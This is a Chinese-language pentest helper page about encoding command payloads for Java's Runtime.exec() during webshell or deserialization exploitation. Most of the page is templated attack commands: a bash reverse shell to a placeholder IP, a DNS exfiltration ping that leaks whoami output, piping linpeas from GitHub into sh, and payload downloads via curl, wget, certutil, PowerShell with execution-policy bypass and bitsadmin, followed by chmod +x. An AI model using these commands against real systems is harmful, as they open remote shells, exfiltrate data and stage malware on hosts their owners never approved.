Shell 编码 (Java)

    有时,通过 Runtime.getRuntime().exec() 执行命令有效负载会导致失败。使用WebShell,反序列化利用或通过其他媒介时,可能会发生这种情况。
    这是因为重定向和管道字符的使用方式在启动过程的上下文中没有意义。例如,ls > dir_listing 在 shell 中执行应将当前目录的列表输出到名为 dir_listing 的文件中。但是在 exec() 函数的上下文中,该命令将被解释为获取 > 和 dir_listing 目录的列表。
    StringTokenizer 类有时会破坏其中包含空格的参数,该类将命令字符串按空格分隔。诸如此类的东西 ls "My Directory" 将被解释为 ls '"My' 'Directory"'。
    借助 Base64 编码,下面的转换器可以帮助减少这些问题。它可以通过调用 Bash 或 PowerShell 来制作管道并重新定向,还可以确保参数内没有空格。




     FileDownload Generator

    Exec 常用命令

    bash -i >& /dev/tcp/{{ ip_address }}/{{ ip_port }} 0>&1
    ping -c 1 `whoami`.key.dnslog.cn
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
    
    启动 HttpServer

    python -m SimpleHTTPServer {{ ip_port }}
    python3 -m http.server {{ ip_port }}
    
    文件下载命令

    Linux Download

    curl http://{{ ip_address }}:{{ ip_port }}/{{ source_filename }} -o /tmp/{{ target_filename }} wget http://{{ ip_address }}:{{ ip_port }}/{{ source_filename }} -O /tmp/{{ target_filename }} && cd /tmp && chmod +x {{ target_filename }}

    Windows Download

    curl http://{{ ip_address }}:{{ ip_port }}/{{ source_filename }}.exe -o C:\\Users\\Public\\{{ target_filename }}.exe certutil -urlcache -split -f http://{{ ip_address }}:{{ ip_port }}/{{ source_filename }}.exe C:\\Users\\Public\\{{ target_filename }}.exe powershell -nop -exec bypass -c (new-object System.Net.WebClient).DownloadFile('http://{{ ip_address }}:{{ ip_port }}/{{ source_filename }}.exe','C:\\Users\\Public\\{{ target_filename }}.exe') bitsadmin /transfer myDownLoadJob /download /priority normal http://{{ ip_address }}:{{ ip_port }}/{{ source_filename }}.exe C:\\Users\\Public\\{{ target_filename }}.exe